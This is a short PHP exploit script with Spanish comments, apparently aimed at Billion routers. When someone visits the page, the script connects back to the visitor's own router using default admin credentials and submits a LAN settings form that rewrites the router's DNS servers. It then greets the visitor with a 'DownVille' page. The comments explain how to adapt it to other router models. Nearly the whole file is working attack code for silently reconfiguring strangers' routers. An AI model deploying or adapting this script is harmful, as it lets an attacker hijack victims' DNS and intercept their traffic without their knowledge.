<?php 
/*
R.o.R. EXPLOIT
By Carlos Ganoza A.K.A. Dr. Ne0X
cganoza@malwareint.com
www.todoporelvicio.com 
probado en un router billion
para otros modelos cambiar las variables que van por POST
y la hoja a donde se envian.

PD: con condicionales y  leyendo  las cabeceras de cada router se puede explotar  segun el modelo y mandar las variables pertinentes
*/
$dns1='8.8.8.8'; //dns uno
$dns2='8.8.4.4'; //dns dos
$user='admin';
$password='1234';
$ip=$_SERVER['REMOTE_ADDR'];
$conect = curl_init();

$url ='http://'.$ip.'/Forms/home_lan_1';  //hoja que procesa variables

$variables='uiViewIPAddr=192.168.1.1&dhcpFlag=0&uiViewNetMask=255.255.255.0&uiViewIPAddr2=0.0.0.0&uiViewNetMask2=0.0.0.0&lan_RIPVersion=RIP1&lan_RIPDirection=None&lan_IGMP=Disabled&igmp_snoop_act=0&dhcpTypeRadio=1&dhcp_StartIP=192.168.1.33&sysPoolCount=32&dhcp_LeaseTime=86400&uiViewDNSRelay=Use+User+Discovered+DNS+Server+Only&uiViewDns1Mark='.$dns1.'&uiViewDns2Mark='.$dns2; // parametros post
curl_setopt($conect, CURLOPT_URL, $url); //agrego la url
curl_setopt($conect, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1"); //user agent
curl_setopt($conect, CURLOPT_RETURNTRANSFER, true);
curl_setopt($conect, CURLOPT_USERPWD, $user.':'.$password);
curl_setopt($conect, CURLOPT_POST, true); //habilito post
curl_setopt($conect, CURLOPT_POSTFIELDS, $variables); //agrego $variables a post
curl_setopt($conect, CURLOPT_TIMEOUT, 10); // tiempo maximo 10 segundos
$data = curl_exec($conect); //ejecuto el curl
curl_close($conect);
//echo $data; //imprimo la web
echo "<H1><font color='red'>Bienvenido a DownVille</font></H1>";
echo "Tu dirección IP publica es: ", $_SERVER['REMOTE_ADDR'];

?>

